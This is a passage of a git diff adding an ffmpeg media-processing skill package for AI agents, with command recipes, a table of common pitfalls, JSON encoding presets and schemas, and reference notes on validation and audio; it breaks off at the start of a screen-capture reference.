+ffmpeg -i in.mp4 -vf "fps=1/10,scale=320:-2,tile=4x3" -frames:v 1 sheet.png
+
+# High-quality GIF — palettegen/paletteuse is THE difference between a 256-color
+# dithered mess and a clean GIF. Single pass via split:
+ffmpeg -ss 5 -to 8 -i in.mp4 -filter_complex \
+  "fps=12,scale=480:-1:flags=lanczos,split[s0][s1];[s0]palettegen=max_colors=128[p];[s1][p]paletteuse=dither=bayer:bayer_scale=4" \
+  out.gif
+
+# Embedded chapters from scene/silence detection (or YouTube description text):
+python skills/ffmpeg-ops/scripts/make-chapters.py --from-scenes --media talk.mp4 \
+  --min-gap 30 --write chaptered.mp4
+python skills/ffmpeg-ops/scripts/make-chapters.py --from-silence --media lecture.mp4 \
+  --format youtube
+
+# Frames for ML datasets — fixed fps, model-square crop:
+ffmpeg -i in.mp4 -vf "fps=1,scale=512:512:force_original_aspect_ratio=increase,crop=512:512" \
+  frames/%06d.png
+
+# Image sequence -> video:
+ffmpeg -framerate 24 -i frames/%06d.png -c:v libx264 -crf 18 -pix_fmt yuv420p out.mp4
+
+# Player scrub-preview sprites + the WebVTT thumbnail track that maps them:
+python skills/ffmpeg-ops/scripts/make-sprites.py --interval 5 video.mp4
+```
+
+Sprite sheets for web players, AVIF/WebP stills, dataset prep patterns:
+[references/images-gif.md](references/images-gif.md).
+
+### Diagnostics and validation
+
+```bash
+# Corruption / decode-error check (exit code is NOT the signal — the log is):
+ffmpeg -v error -i in.mp4 -f null - 2> errors.log && [ ! -s errors.log ] && echo CLEAN
+
+# Per-frame hashes — prove two pipelines produce identical frames:
+ffmpeg -i in.mp4 -map 0:v -f framemd5 - 
+
+# Strip ALL metadata (GPS, device info — privacy before sharing phone video).
+# -map_metadata -1 keeps rotation side-data; verify orientation after.
+ffmpeg -i in.mp4 -map_metadata -1 -c copy clean.mp4
+
+# Quick probes (machine-readable; prefer probe-media.py for the full picture):
+ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1 in.mp4
+ffprobe -v error -select_streams v:0 -show_entries stream=codec_name,width,height,r_frame_rate -of csv=p=0 in.mp4
+```
+
+Safe re-encode of untrusted uploads, scene-change detection, integrity in CI:
+[references/analysis-validation.md](references/analysis-validation.md).
+
+### yt-dlp interop
+
+yt-dlp embeds ffmpeg for merge/remux; these are the post-download patterns:
+
+```bash
+# Prefer h264+m4a at download time (avoids a transcode entirely):
+yt-dlp -S "res:1080,vcodec:h264,acodec:m4a" --remux-video mp4 URL
+
+# Clip a section AT download (server-side range requests; much faster than full DL):
+yt-dlp --download-sections "*10:00-12:30" -S "res:1080,vcodec:h264" URL
+
+# Audio-only for STT/summarisation:
+yt-dlp -x --audio-format opus URL
+
+# Already downloaded a VP9/AV1 .webm that needs to be H.264 .mp4: that is a normal
+# transcode — use the web-compatible H.264 recipe above, NOT --recode-video.
+```
+
+### Generative/test sources
+
+```bash
+# Synthetic video+audio — fixtures, pipeline tests, alignment checks (no real media
+# needed; this is how tests/run.sh builds its fixtures):
+ffmpeg -f lavfi -i testsrc2=duration=2:size=640x360:rate=30 \
+       -f lavfi -i "sine=frequency=440:duration=2" \
+       -c:v libx264 -pix_fmt yuv420p -c:a aac fixture.mp4
+```
+
+Audio-reactive visuals (showwaves/showspectrum), podcast audiograms:
+[references/visualization.md](references/visualization.md).
+
+## Footguns
+
+The table that pays this skill's rent. Each row is a class of silent failure.
+
+| Footgun | The trap | The rule |
+|---|---|---|
+| `-ss` + `-c copy` | Cut starts seconds early or with frozen/black lead-in (snapped to prior keyframe) | Copy cuts snap. Check `probe-media.py --keyframes-near`; re-encode when exact |
+| Output-side `-to` after input-side `-ss` | Timestamps reset at the seek point, so `-to` silently becomes a *duration* | Keep `-ss`/`-to` on the same side of `-i` (both input-side is fast and absolute) |
+| Missing `-pix_fmt yuv420p` | Encode "works" but Safari/QuickTime/TVs show black or refuse to play (defaulted to yuv444p/yuv422p from a high-quality source) | Always set it for delivery H.264/H.265 |
+| Missing `-movflags +faststart` | Browser can't start playback until the whole file downloads (moov at EOF) | Always set it for web-served MP4 |
+| Default stream selection | ffmpeg picks ONE stream per type (highest-res video, most-channels audio) — extra audio tracks and all subs are silently dropped | `-map 0` to keep everything, explicit `-map` otherwise |
+| `-vf` + `-c:v copy` together | Hard error — filters require decoding | Filtering implies re-encode; pick one |
+| VFR source (phone/Zoom/Loom/screen-rec) | Cut math drifts, concat desyncs, players stutter | Normalize first: `-fps_mode cfr -r 30` + re-encode (cookbook) |
+| `-vsync` (deprecated) | Old flag, removed direction | Use `-fps_mode` (cfr/vfr/passthrough) |
+| `scale=W:-1` | Odd height → encoder error with yuv420p | Always `-2` |
+| concat demuxer on mismatched inputs | "Works" then glitches/desyncs at boundaries (codec/timebase mismatch) | Demuxer = identical params only; else concat *filter* with re-encode |
+| amix default | Each input's volume halved (normalize defaults on) | `amix=...:normalize=0` + explicit `volume=` |
+| One-pass loudnorm | Dynamic mode pumps quiet passages; output silently 192 kHz | Two-pass linear via `loudnorm-scan.py`; add `-ar 48000` |
+| `-shortest` absent on audio-replace | Output runs as long as the LONGEST input (silence or frozen frame tail) | Add `-shortest` when muxing separate A/V |
+| BT.601/709 colour shift | Slightly wrong colours after scaling SD↔HD (matrix guessed from resolution) | Tag explicitly when it matters: see [references/color-hdr.md](references/color-hdr.md) |
+| drawtext/subtitles path escaping | Filter args re-parse `:` and `\` — Windows paths like `C:\x` explode inside filter strings | cd to the asset's dir and use bare relative names; or escape as `C\:/path` |
+| Interactive overwrite prompt | Agent-run command hangs forever on "File exists. Overwrite? [y/N]" | Always pass `-y` or `-n` explicitly |
+| `%` in cmd.exe | `%06d` patterns and `%{pts}` get mangled by cmd variable expansion | Use PowerShell or bash; in .bat double to `%%` |
+
+### Windows notes
+
+Platform-agnostic commands, but when running on Windows:
+
+- **PowerShell quoting is friendlier than bash here**: single quotes are fully
+  literal, so `-vf 'scale=1280:-2,fps=30'` needs no escaping. Double quotes only
+  interpolate `$` and backtick — filtergraphs rarely contain either.
+- **`NUL` not `/dev/null`** for two-pass logs: `-passlogfile` defaults are fine, but
+  `ffmpeg ... -f null NUL` (PowerShell also accepts `-f null -`, which is portable —
+  prefer it).
+- **Font paths in drawtext**: `fontfile='C\:/Windows/Fonts/arial.ttf'` — forward
+  slashes, escaped drive colon, inside the filter string.
+- **Prefer `-f null -` and relative paths** to sidestep both quoting tables at once.
+
+## Decision trees
+
+**Codec** — `H.264 (libx264)`: default; universal playback, fast, good per-bit at
+`-crf 18..23`. → `H.265 (libx265)`: same quality ~40% smaller; slower; needs
+`-tag:v hvc1` for Apple; fine for storage/modern devices. → `AV1 (libsvtav1)`: best
+compression, royalty-free, web-first (YouTube/Netflix path); encode cost highest;
+playback on older hardware is software-only. → `VP9`: only when a pipeline demands
+webm and AV1 is unavailable. → `FFV1`: archival masters only.
+
+**Cut method** — Need exact frames OR applying any filter → re-encode (input-side
+`-ss`, `-crf 18`). Cut points happen to sit on keyframes (verify with
+`--keyframes-near`) OR a ±2s slop is acceptable → stream copy with
+`-avoid_negative_ts make_zero`. Many cuts from one source → EDL workflow below.
+
+**CPU vs hardware encode** — Hardware (NVENC/QSV/AMF/VideoToolbox) is 5-20× faster
+but **worse quality per bit** than libx264/x265 at slow presets. Use hardware for:
+speed-critical batch work, live/streaming, drafts, "good enough" deliveries (bump
+bitrate ~30% to compensate). Use CPU for: final masters, size-constrained targets,
+quality comparisons. Always `capability-scan.sh` first — listed encoders fail at
+runtime on driver mismatches. Details: [references/hardware-accel.md](references/hardware-accel.md).
+
+## EDL workflow (edit-as-code)
+
+For any multi-cut edit, do not fire ad-hoc trim commands. Write an **edit decision
+list** — a JSON file naming every clip, time range, and *why* — then cut from it.
+The edit becomes reviewable (rationale is written down), rerunnable (regenerate the
+output any time), and diffable (versions of the edit are git history).
+
+```bash
+# 1. Find candidate cut points (silence = clean speech boundaries):
+python skills/ffmpeg-ops/scripts/detect-segments.py --silence --json take3.mp4
+
+# 2. Author the EDL (schema: assets/edl-schema.json) with per-scene rationale.
+
+# 3. Dry-run prints every ffmpeg command it would run (default — nothing executes):
+python skills/ffmpeg-ops/scripts/cut-from-edl.py edit.json
+
+# 4. Execute: cuts + concat -> final. Re-encodes by default for frame accuracy;
+#    --copy for keyframe-aligned EDLs.
+python skills/ffmpeg-ops/scripts/cut-from-edl.py edit.json --execute -o final.mp4
+```
+
+Rules that make this work (from the Fable launch-video pipeline): cuts must land in
+**silence**; the model reasons over **transcripts, not frames**; after cutting,
+**re-transcribe the output to verify** (no filler words survived, no words clipped).
+Full architecture, EDL schema, verification loop:
+[references/edit-as-code.md](references/edit-as-code.md).
+
+## Color grading
+
+```bash
+# Apply a .cube LUT (tetrahedral = highest quality interpolation):
+ffmpeg -i in.mp4 -vf "lut3d=file=grade.cube:interp=tetrahedral" \
+  -c:v libx264 -crf 18 -c:a copy graded.mp4
+
+# Generate a family of grade candidates + an HTML still-chooser:
+python skills/ffmpeg-ops/scripts/gen-luts.py --variants all --out-dir work/luts \
+  --previews in.mp4
+```
+
+**The human picks the grade.** Generate variants, render preview stills, present a
+chooser — never auto-select a look. Grading is a taste call; the agent's job is the
+lattice math and the apply command. LUT format, log-footage normalization
+(S-Log3/V-Log → Rec.709), curves/eq safe ranges, checking work with ffmpeg's
+built-in scopes (waveform/vectorscope):
+[references/color-grading.md](references/color-grading.md). The 25-look recipe
+catalog — film stocks (Kodachrome, CineStill halation, Technicolor, Eterna),
+signature grades (Mad Max, Fincher, Matrix, BR2049, Amélie…), era/genre moods,
+Sin City selective color — every chain build-validated, plus the Hald-CLUT
+match-any-look workflow and scope-matching ladder:
+[references/look-recipes.md](references/look-recipes.md). Pipeline correctness
+(pix_fmt, HDR→SDR tonemapping, range/matrix tagging):
+[references/color-hdr.md](references/color-hdr.md).
+
+## Quality gates
+
+```bash
+# VMAF/SSIM/PSNR verdict on an encode (exit 10 = below threshold -> branch on it):
+python skills/ffmpeg-ops/scripts/quality-compare.py reference.mp4 encoded.mp4 \
+  --metrics ssim,psnr
+python skills/ffmpeg-ops/scripts/quality-compare.py reference.mp4 encoded.mp4 \
+  --metrics vmaf --min-vmaf 90 --json | jq '.data.vmaf'
+```
+
+VMAF ≥ 93 at 1080p ≈ visually transparent; 80-93 = noticeable on inspection.
+Side-by-side visual A/B (`hstack`), metric interpretation, encode-ladder tuning:
+[references/quality-metrics.md](references/quality-metrics.md).
+
+## Scripts
+
+All eleven follow the [Skill Resource Protocol](../../docs/SKILL-RESOURCE-PROTOCOL.md):
+`--help` with examples, stdout = data only, `--json` envelopes
+(`claude-mods.ffmpeg-ops.*/v1`), semantic exit codes (`0` ok, `2` usage, `3` input
+missing, `4` invalid input, `5` missing dependency, `7` ffmpeg unavailable,
+`10` domain finding).
+
+| Script | Job | Worked invocation |
+|---|---|---|
+| `probe-media.py` | Normalized inspection, keyframe proximity, `--doctor` triage (hazard → fix command, exit 10) | `probe-media.py --doctor in.mp4` |
+| `capability-scan.sh` | What can THIS ffmpeg build do (proof-encodes hw encoders; `--quick` skips) | `capability-scan.sh --json \| jq '.data.encoders'` — exit 10 = a listed encoder failed verification |
+| `quality-compare.py` | VMAF/SSIM/PSNR gate | `quality-compare.py ref.mp4 enc.mp4 --min-vmaf 90` — exit 10 = below threshold |
+| `loudnorm-scan.py` | Two-pass loudnorm: measures pass 1, emits exact pass-2 filter | `loudnorm-scan.py -I -16 in.mp4 --json \| jq -r '.data.pass2_filter'` |
+| `detect-segments.py` | Silence/scene boundaries as JSON segments (STT chunking, dead-air cuts, shot splits) | `detect-segments.py --scenes --json in.mp4 \| jq '.data.segments'` |
+| `cut-from-edl.py` | EDL JSON → validated cuts + concat (dry-run by default) | `cut-from-edl.py edit.json --execute -o final.mp4` |
+| `make-chapters.py` | Scene/silence points (or explicit JSON) → embedded chapters / YouTube text / WebVTT | `make-chapters.py --from-scenes --media talk.mp4 --write chaptered.mp4` |
+| `smart-compress.py` | Fit a size cap: computed two-pass bitrate, auto audio/downscale, size-verified (exit 10 = still over) | `smart-compress.py --target 25MB video.mp4` |
+| `make-sprites.py` | Scrub-preview sprite sheets + WebVTT thumbnail track (#xywh) | `make-sprites.py --interval 5 video.mp4` |
+| `gen-luts.py` | Emit .cube grade variants (+ `--previews` still chooser) | `gen-luts.py --variants warm_filmic,punchy --out-dir luts/` |
+| `verify-commands.sh` | Staleness verifier: `--offline` structural (CI), `--live` checks docs against the installed build | `verify-commands.sh --live` — exit 10 = doc drift, 7 = no ffmpeg |
+
+## References
+
+Load on demand — one concept per file:
+
+| Reference | Load when |
+|---|---|
+| [encoding.md](references/encoding.md) | Choosing codec/CRF/preset, two-pass, social platform targets, archival |
+| [hardware-accel.md](references/hardware-accel.md) | NVENC/QSV/AMF/VideoToolbox/VAAPI flags, quality caveats, detection |
+| [filtergraph.md](references/filtergraph.md) | Any `-filter_complex`, labels/chains/split, speed ramps, xstack |
+| [trim-concat.md](references/trim-concat.md) | Cut accuracy, keyframes, concat selection, segment removal |
+| [edit-as-code.md](references/edit-as-code.md) | Multi-cut edits, EDL schema, transcript-driven editing, verify loop |
+| [audio.md](references/audio.md) | Loudness, mixing, channel layout, audio repair |
+| [stt-whisper.md](references/stt-whisper.md) | Whisper/WhisperX prep, chunking, transcript JSON, summarisation pipeline |
+| [subtitles.md](references/subtitles.md) | Burn vs soft, styling, extraction, format conversion |
+| [color-grading.md](references/color-grading.md) | LUTs, .cube format, log normalization, scopes, grade workflow |
+| [look-recipes.md](references/look-recipes.md) | 25-look catalog (film stocks, signature movie grades, era/genre moods), Hald-CLUT extraction, scope-matching |
+| [color-hdr.md](references/color-hdr.md) | pix_fmt, HDR→SDR tonemap, BT.601/709 tagging, 10-bit |
+| [quality-metrics.md](references/quality-metrics.md) | VMAF/SSIM interpretation, visual A/B, ladder tuning |
+| [streaming-hls.md](references/streaming-hls.md) | HLS/DASH packaging, ABR ladders, live restream |
+| [images-gif.md](references/images-gif.md) | GIF quality, sprite sheets, dataset frame extraction |
+| [restoration.md](references/restoration.md) | Deinterlace, denoise, deband, stabilize, audio cleanup |
+| [analysis-validation.md](references/analysis-validation.md) | Corruption checks, hashing, metadata stripping, untrusted uploads |
+| [capture-devices.md](references/capture-devices.md) | Screen/webcam capture per OS (gdigrab/dshow, avfoundation, x11grab) |
+| [error-decoder.md](references/error-decoder.md) | An ffmpeg command failed with a cryptic message — symptom → cause → fix |
+| [visualization.md](references/visualization.md) | Waveform/spectrogram videos, audiograms, comparison grids |
+
+Assets: [encoding-presets.json](assets/encoding-presets.json) (recipe data incl.
+date-stamped social targets), [hls-ladder.json](assets/hls-ladder.json) (ABR ladder),
+[edl-schema.json](assets/edl-schema.json) (the cut-from-edl.py contract).
+
+## Self-test
+
+```bash
+bash skills/ffmpeg-ops/tests/run.sh   # offline suite; synthesizes fixtures via lavfi
+```
+
+Structural assertions always run; media round-trips run only when ffmpeg is on PATH
+(loud skip otherwise — never a silent false-clean).

+ 79 - 0
skills/ffmpeg-ops/assets/edl-schema.json

@@ -0,0 +1,79 @@
+{
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "$id": "claude-mods.ffmpeg-ops.edl-schema/v1",
+  "title": "Edit Decision List",
+  "description": "The contract between shot selection and cut-from-edl.py. The edit is this file: reviewable (rationale written down), rerunnable (regenerate output any time), diffable (versions are git history). Times are seconds from the start of each source file.",
+  "type": "object",
+  "required": ["scenes"],
+  "properties": {
+    "title": {
+      "type": "string",
+      "description": "Human title for the edit"
+    },
+    "output": {
+      "type": "string",
+      "description": "Default output path, relative to this file (cut-from-edl.py -o overrides)"
+    },
+    "source_notes": {
+      "type": "string",
+      "description": "Anything the next reader needs about the footage (takes layout, which re-shoots exist, transcript locations)"
+    },
+    "scenes": {
+      "type": "array",
+      "minItems": 1,
+      "items": {
+        "type": "object",
+        "required": ["clips"],
+        "properties": {
+          "scene": {
+            "type": ["integer", "string"],
+            "description": "Scene number or id"
+          },
+          "title": {
+            "type": "string"
+          },
+          "candidate_takes": {
+            "type": "array",
+            "items": { "type": "string" },
+            "description": "Takes that were considered — documentation of the search space"
+          },
+          "selection_rationale": {
+            "type": "string",
+            "description": "WHY these clips won. Write it down; this is what makes the EDL reviewable. E.g. 'C003 is the cleanest complete take: zero ums, clean ending; C017 disqualified - 5.8s dead pause mid-sentence.'"
+          },
+          "clips": {
+            "type": "array",
+            "minItems": 1,
+            "items": {
+              "type": "object",
+              "required": ["file", "start", "end"],
+              "properties": {
+                "file": {
+                  "type": "string",
+                  "description": "Source path, relative to this EDL file (or absolute)"
+                },
+                "start": {
+                  "type": "number",
+                  "minimum": 0,
+                  "description": "In-point, seconds. Should sit in silence — verify with detect-segments.py --silence"
+                },
+                "end": {
+                  "type": "number",
+                  "exclusiveMinimum": 0,
+                  "description": "Out-point, seconds (absolute in the source, not a duration). Must be > start"
+                },
+                "first_words": {
+                  "type": "string",
+                  "description": "First words spoken in this range — a human-checkable anchor against the transcript"
+                },
+                "note": {
+                  "type": "string"
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}

+ 86 - 0
skills/ffmpeg-ops/assets/encoding-presets.json

@@ -0,0 +1,86 @@
+{
+  "schema": "claude-mods.ffmpeg-ops.encoding-presets/v1",
+  "updated": "2026-06-12",
+  "note": "Recipe data the agent queries instead of re-deriving. Args are ffmpeg argv fragments; {input}/{output} are placeholders. Social specs drift - check the 'updated' stamp and the platform's current docs before trusting a target older than ~6 months.",
+  "delivery": {
+    "web_h264": {
+      "use": "Default web/share delivery - universal playback",
+      "args": "-c:v libx264 -crf 20 -preset slow -pix_fmt yuv420p -c:a aac -b:a 192k -movflags +faststart",
+      "container": "mp4"
+    },
+    "web_h264_small": {
+      "use": "Size-sensitive H.264 (email, chat upload caps)",
+      "args": "-c:v libx264 -crf 24 -preset slow -pix_fmt yuv420p -vf scale=-2:720 -c:a aac -b:a 128k -movflags +faststart",
+      "container": "mp4"
+    },
+    "hevc_storage": {
+      "use": "Personal library/storage - ~40% smaller, modern devices",
+      "args": "-c:v libx265 -crf 24 -preset slow -tag:v hvc1 -pix_fmt yuv420p -c:a aac -b:a 160k -movflags +faststart",
+      "container": "mp4"
+    },
+    "av1_web": {
+      "use": "Best compression for web-first targets; encode cost highest",
+      "args": "-c:v libsvtav1 -crf 32 -preset 6 -pix_fmt yuv420p10le -c:a libopus -b:a 128k",
+      "container": "webm"
+    },
+    "archive_ffv1": {
+      "use": "Lossless preservation master (archival standard)",
+      "args": "-c:v ffv1 -level 3 -g 1 -slicecrc 1 -c:a flac",
+      "container": "mkv"
+    },
+    "normalize_source": {
+      "use": "Fix problem sources (HEVC/VFR/Zoom/Loom) before editing",
+      "args": "-c:v libx264 -crf 18 -preset fast -pix_fmt yuv420p -fps_mode cfr -r 30 -c:a aac -b:a 192k -ar 48000",
+      "container": "mp4"
+    }
+  },
+  "audio": {
+    "podcast_opus": {
+      "use": "Voice distribution - best codec per bit",
+      "args": "-vn -c:a libopus -b:a 32k -ac 1 -application voip"
+    },
+    "music_opus": {
+      "use": "Music/general audio",
+      "args": "-vn -c:a libopus -b:a 128k"
+    },
+    "stt_prep": {
+      "use": "Whisper-family input - 16 kHz mono PCM",
+      "args": "-vn -ac 1 -ar 16000 -c:a pcm_s16le",
+      "container": "wav"
+    },
+    "loudness_targets_lufs": {
+      "streaming_platforms": -14,
+      "podcast": -16,
+      "ebu_r128_broadcast": -23
+    }
+  },
+  "social": {
+    "_note": "Specs as of the 'updated' stamp. aspect = canvas; fit landscape sources with the blurred-pad pattern in SKILL.md.",
+    "youtube_standard": {
+      "aspect": "16:9", "resolution": "1920x1080", "fps_max": 60,
+      "args": "-c:v libx264 -crf 19 -preset slow -pix_fmt yuv420p -c:a aac -b:a 192k -ar 48000 -movflags +faststart"
+    },
+    "youtube_shorts": {
+      "aspect": "9:16", "resolution": "1080x1920", "duration_max_s": 180,
+      "args": "-c:v libx264 -crf 20 -preset slow -pix_fmt yuv420p -c:a aac -b:a 192k -movflags +faststart"
+    },
+    "instagram_reel": {
+      "aspect": "9:16", "resolution": "1080x1920", "duration_max_s": 900, "fps_max": 60,
+      "args": "-c:v libx264 -crf 21 -preset slow -pix_fmt yuv420p -c:a aac -b:a 128k -movflags +faststart"
+    },
+    "tiktok": {
+      "aspect": "9:16", "resolution": "1080x1920", "duration_max_s": 600,
+      "args": "-c:v libx264 -crf 21 -preset slow -pix_fmt yuv420p -c:a aac -b:a 128k -movflags +faststart"
+    },
+    "twitter_x": {
+      "aspect": "16:9 or 1:1", "resolution": "1920x1080", "duration_max_s": 140, "size_max_mb": 512,
+      "args": "-c:v libx264 -crf 22 -preset slow -pix_fmt yuv420p -c:a aac -b:a 128k -movflags +faststart"
+    }
+  },
+  "gif": {
+    "standard": {
+      "use": "README/PR demo GIF - palettegen quality at sane size",
+      "filter": "fps=12,scale=480:-1:flags=lanczos,split[s0][s1];[s0]palettegen=max_colors=128[p];[s1][p]paletteuse=dither=bayer:bayer_scale=4"
+    }
+  }
+}

+ 20 - 0
skills/ffmpeg-ops/assets/hls-ladder.json

@@ -0,0 +1,20 @@
+{
+  "schema": "claude-mods.ffmpeg-ops.hls-ladder/v1",
+  "updated": "2026-06-12",
+  "note": "ABR ladder reference derived from Apple's HLS authoring guidelines (H.264, 16:9). Bitrates are video-only targets in kb/s; pair with 128k AAC audio. Trim rungs you don't need - a 3-rung ladder (e.g. 1080/720/360) covers most non-broadcast uses. Segment duration 6s; keyframe interval must equal segment duration x fps.",
+  "ladder": [
+    { "name": "2160p", "resolution": "3840x2160", "video_kbps": 16800, "profile": "high", "level": "5.1", "fps": "source" },
+    { "name": "1440p", "resolution": "2560x1440", "video_kbps": 9600,  "profile": "high", "level": "5.0", "fps": "source" },
+    { "name": "1080p", "resolution": "1920x1080", "video_kbps": 6000,  "profile": "high", "level": "4.2", "fps": "source" },
+    { "name": "720p",  "resolution": "1280x720",  "video_kbps": 3000,  "profile": "main", "level": "4.0", "fps": "source" },
+    { "name": "540p",  "resolution": "960x540",   "video_kbps": 2000,  "profile": "main", "level": "3.1", "fps": "source" },
+    { "name": "360p",  "resolution": "640x360",   "video_kbps": 730,   "profile": "main", "level": "3.0", "fps": "source" },
+    { "name": "270p",  "resolution": "480x270",   "video_kbps": 365,   "profile": "baseline", "level": "3.0", "fps": "source" }
+  ],
+  "audio": { "codec": "aac", "kbps": 128, "sample_rate": 48000 },
+  "packaging": {
+    "segment_duration_s": 6,
+    "playlist_type": "vod",
+    "keyframe_rule": "force keyframes at segment boundaries: -g <fps*6> -keyint_min <fps*6> -sc_threshold 0, or -force_key_frames expr:gte(t,n_forced*6)"
+  }
+}

+ 84 - 0
skills/ffmpeg-ops/references/analysis-validation.md

@@ -0,0 +1,84 @@
+# Analysis & validation — integrity, hashing, metadata, untrusted media
+
+## Corruption / decode check
+
+```bash
+ffmpeg -v error -i in.mp4 -f null - 2> errors.log
+# exit code alone is NOT the verdict — partial corruption decodes "successfully".
+# empty errors.log = clean; lines name the damaged streams/timestamps.
+```
+
+Fast container-level check (no full decode): `ffprobe -v error in.mp4` — catches
+truncation and broken headers in milliseconds; use it as the cheap first gate in
+batch jobs, the full decode as the thorough second.
+
+## Frame hashing — prove pipelines identical
+
+```bash
+ffmpeg -i a.mp4 -map 0:v -f framemd5 a.md5
+ffmpeg -i b.mp4 -map 0:v -f framemd5 b.md5
+diff a.md5 b.md5        # identical = bit-identical decoded frames
+```
+
+Use cases: verify a remux didn't touch frames, prove an FFV1 archival round-trip
+is lossless, CI-assert a refactored pipeline produces identical output.
+`-f streamhash` (one hash per stream) is the cheap whole-file variant.
+
+## Metadata: inspect and strip
+
+```bash
+ffprobe -v error -show_format -show_entries format_tags in.mp4   # what's in there
+
+# strip everything (GPS, device model, creation time — privacy before sharing):
+ffmpeg -i in.mp4 -map_metadata -1 -map 0 -c copy clean.mp4
+```
+
+Two traps: (1) **rotation** — stripping can drop the display matrix on phone
+video; probe the output (`probe-media.py`) and re-apply `-display_rotation` if
+needed. (2) **chapters** survive `-map_metadata -1`; add `-map_chapters -1` to
+drop those too.
+
+```bash
+# add useful metadata (chapters from scene detection, title, language):
+-metadata title="..." -metadata:s:a:0 language=eng
+```
+
+## Untrusted uploads (server-side discipline)
+
+A user-supplied "video" is attacker-controlled input to a large C codebase. The
+pattern:
+
+1. **Validate cheaply first** — `ffprobe -v error` with a timeout; reject on any
+   error, absurd stream counts, or absurd dimensions/duration vs your product
+   limits.
+2. **Never trust the extension** — probe reports the real container.
+3. **Re-encode, don't copy** — a full decode→encode discards container exploits,
+   weird private streams, and metadata payloads in one move (the normalize recipe
+   in SKILL.md is the right shape).
+4. **Cap resources** — wall-clock timeout per job, `-t <max>` duration cap;
+   ffmpeg happily eats a 10-hour 8K input otherwise.
+5. Strip metadata on output (`-map_metadata -1`) — it re-encodes *in*, otherwise.
+
+## Scene/content probes
+
+```bash
+# scene-change list (chapters, shot logs):
+python skills/ffmpeg-ops/scripts/detect-segments.py --scenes --json in.mp4 | jq '.data.cuts'
+
+# black-frame / freeze detection (broken renders, dead air):
+ffmpeg -i in.mp4 -vf "blackdetect=d=0.5:pix_th=0.10" -an -f null - 2>&1 | rg black_
+ffmpeg -i in.mp4 -vf "freezedetect=n=-60dB:d=2" -an -f null - 2>&1 | rg freeze_
+
+# bitrate-over-time (find the spike that breaks a streaming budget):
+ffprobe -v error -select_streams v:0 -show_entries packet=pts_time,size -of csv=p=0 in.mp4 \
+  | awk -F, '{b[int($1)]+=$2} END{for(s in b) printf "%d\t%.0f kb/s\n", s, b[s]*8/1000}' | sort -n
+```
+
+## CI gates for media artifacts
+
+A render pipeline's test suite, in three asserts: container parses
+(`ffprobe -v error`), duration within tolerance
+(`format=duration` vs expected), decode clean (`-v error -f null -` with empty
+log). Add `quality-compare.py --min-ssim 0.97` against a golden reference when
+the pipeline is supposed to be visually stable — see
+[quality-metrics.md](quality-metrics.md).

+ 91 - 0
skills/ffmpeg-ops/references/audio.md

@@ -0,0 +1,91 @@
+# Audio — loudness, mixing, channels, repair
+
+## Loudness (EBU R128)
+
+Targets: **-14 LUFS** streaming platforms, **-16** podcasts, **-23** broadcast.
+True peak ceiling -1.5 dBTP (-2 for lossy delivery).
+
+One-pass `loudnorm` is *dynamic* mode (a compressor — pumps quiet passages). For
+anything that ships, use two-pass **linear** mode; the measurement dance is
+automated:
+
+```bash
+python skills/ffmpeg-ops/scripts/loudnorm-scan.py -I -16 in.mp4 --json \
+  | jq -r '.data.pass2_command'
+# prints the exact pass-2 ffmpeg command with measured_* values filled in
+```
+
+Check where you stand without changing anything:
+
+```bash
+ffmpeg -i in.mp4 -af ebur128 -f null - 2>&1 | tail -12   # integrated I, LRA, peaks
+```
+
+`loudnorm` outputs 192 kHz internally — always pair with `-ar 48000`.
+
+## Mixing and ducking
+
+```bash
+# voice over music, music ducked 12dB whenever voice is present (sidechain):
+ffmpeg -i voice.wav -i music.mp3 -filter_complex \
+  "[1:a][0:a]sidechaincompress=threshold=0.05:ratio=8:attack=20:release=400[duck];
+   [0:a][duck]amix=inputs=2:duration=first:normalize=0[a]" \
+  -map "[a]" -c:a aac mixed.m4a
+
+# plain mix at set levels (amix halves inputs unless normalize=0):
+-filter_complex "[1:a]volume=0.25[m];[0:a][m]amix=inputs=2:duration=first:normalize=0[a]"
+
+# concatenate audio files losslessly (same codec) / with re-encode:
+ffmpeg -f concat -safe 0 -i list.txt -c copy out.mp3
+-filter_complex "[0:a][1:a]concat=n=2:v=0:a=1[a]"
+```
+
+## Channels
+
+```bash
+# stereo -> mono (downmix), mono -> "stereo" (duplicate):
+-ac 1                                  # downmix
+-ac 2                                  # duplicate mono to both
+
+# keep ONE channel of a stereo file (e.g. lav mic on left only):
+-af "pan=mono|c0=c0"                   # left;  c0=c1 for right
+
+# swap channels / manual stereo from two mono files:
+-af "pan=stereo|c0=c1|c1=c0"
+ffmpeg -i L.wav -i R.wav -filter_complex "[0:a][1:a]join=inputs=2:channel_layout=stereo[a]" -map "[a]" out.wav
+
+# pick the 3rd audio track from a multi-track recording (OBS etc.):
+-map 0:a:2
+```
+
+## Sync repair
+
+```bash
+# audio late by 300ms -> advance it (itsoffset on the AUDIO input):
+ffmpeg -i in.mp4 -itsoffset -0.3 -i in.mp4 -map 0:v -map 1:a -c copy fixed.mp4
+# constant drift (audio runs long) -> resample-stretch:
+-af "atempo=1.001"      # tune factor = video_duration / audio_duration
+```
+
+## Repair & cleanup
+
+```bash
+-af "highpass=f=100"                              # rumble/handling noise
+-af "afftdn=nf=-25"                               # broadband denoise (use ears; see stt-whisper.md caveat)
+-af "adeclick"                                    # vinyl/mouth clicks
+-af "deesser"                                     # sibilance
+-af "compand=attacks=0.05:decays=0.3:points=-80/-80|-45/-15|-27/-9|0/-7|20/-7"  # leveler for speech
+-af "alimiter=limit=0.97"                         # brickwall before lossy encode
+```
+
+Order matters: **subtractive first** (highpass → denoise → declick), then dynamics
+(compand), then loudness (loudnorm), limiter last.
+
+## Format notes
+
+- Sample rate: keep 48 kHz for video work (44.1 kHz is a music-CD convention;
+  mixing the two invites resample drift in long files).
+- `aresample=async=1` repairs streams with small timestamp gaps (common in
+  screen-recorder output) — add it when concat output crackles at boundaries.
+- Bit depth: `pcm_s16le` for interchange, `pcm_s24le` when the source is 24-bit;
+  never "upgrade" 16→24 (it's free silence).

+ 68 - 0
skills/ffmpeg-ops/references/capture-devices.md

@@ -0,0 +1,68 @@
+# Capture — screen and devices, per OS
+
+Capture is the one genuinely platform-specific corner of ffmpeg. Same downstream
+processing everywhere; only the input device differs.
+
+## Windows (gdigrab / dshow / ddagrab)
+
+```bash
+# full screen (gdigrab — works everywhere, CPU-based):
